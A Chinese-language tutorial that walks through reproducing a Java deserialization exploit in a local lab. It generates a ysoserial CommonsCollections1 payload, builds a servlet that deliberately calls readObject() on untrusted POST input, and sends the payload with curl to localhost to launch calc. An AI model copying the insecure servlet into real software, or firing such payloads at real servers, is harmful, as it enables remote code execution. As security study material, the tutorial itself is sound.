前言
ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload; 由于其中部分payload使用到的低版本JDK中的类,所以建议自己私下分析学习时使用低版本JDK,JDK版本建议在1.7u21以下
YsoSerial环境搭建
首先下载ysoserial:git clone https://github.com/frohoff/ysoserial.git
用IDEA加载后,打开pom.xml
文件,打开后Maven会自动下载对应的依赖,但有些依赖无法下载成功。
1
| mvn install:install-file -DgroupId=依赖的groupId -DartifactId=依赖的artifactId -Dversion=依赖的版本 -Dpackaging=jar -Dfile=你下载的jar包的路径
|
IDEA里JDK配置成1.7
运行GeneratePayload.java
,出现以下信息表示YsoSerial环境搭建成功
使用YSoSerial生成序列化字符
在之前的图中,我们可以看到它的使用方法
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
此处我们使用IDEA运行程序,所以可以省略前面的 java -jar ysoserial-[version]-all.jar
在配置中写入arguments - Windows环境下运行计算器calc
即可生成以下序列化字符串(payload)
但该payload无法直接复制,所以我们想办法用writeObject()将他写成二进制文件(在Java反序列化漏洞之Java反序列化流程与分析(3)中学习过)。
在GeneratePayload
中有以下代码:
1 2 3 4 5 6 7 8 9 10 11
| try { final ObjectPayload payload = payloadClass.newInstance(); final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); }
|
我们跟进serialize()
方法,发现是在Serializer
Class中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void serialize(final Object obj, final OutputStream out) throws IOException { final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj);
FileOutputStream fileOutputStream = new FileOutputStream("payload.ser"); ObjectOutputStream objectOutputStream=new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); fileOutputStream.flush(); fileOutputStream.close(); objectOutputStream.flush(); objectOutputStream.close();
}
|
payload保存到文件成功。
WebServer环境搭建
配置环境:java1.7,commoncollections3.1.jar
首先Java中新建Maven项目
在Project Structure中导入Web框架
在main文件夹下创建一个Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import javax.servlet.ServletException; import javax.servlet.ServletInputStream; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.ObjectInputStream;
public class MainServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { ServletInputStream servletInputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(servletInputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } objectInputStream.close(); } }
|
如果出现servlet找不到的情况,按提示下载即可
设置Router:访问/test
的时候交给MainServlet
处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet> <servlet-name>MainServlet</servlet-name> <servlet-class>MainServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>MainServlet</servlet-name> <url-pattern>/test</url-pattern> </servlet-mapping> </web-app>
|
为了复现commoncollections1
, jdk版本需要为1.7
,且需导入commons-collections-3.1.jar
同时在artifact
处需要导入commons collections,否则漏洞复现时会提示找不到库。
若出现Error:java: invalid source release: 8
这样的错误,可检查下面几处设置中sdk是否为统一的版本(此处应为1.7)
- File -> Project Structure -> Project Settings
- File -> Project Structure -> Module Settings -> Tab: Sources: Language Level
- File -> Project Structure -> Module Settings -> Tab: Dependencies: Module SDK
- File -> Settings -> Compiler -> Java Compiler -> Target bytecode version
运行如下图
攻击实现
现在,已知我们搭建的网站是有反序列化漏洞的,我们用curl
发送我们之前生成的序列化二进制文件
curl http://localhost:9090/webTest1_Web_exploded/test --data-binary @payload.ser
注意 : 通过 Curl 发送二进制文件时 , 需要在文件路径前加上 @
符号 , 此时文件中所有的回车符和换行符都将被自动转换 .
计算器被成功执行!
Reference
Error:java: invalid source release: 8 in Intellij. What does it mean?
Java 反序列化漏洞(5) – 解密 YSoSerial : Java动态代理机制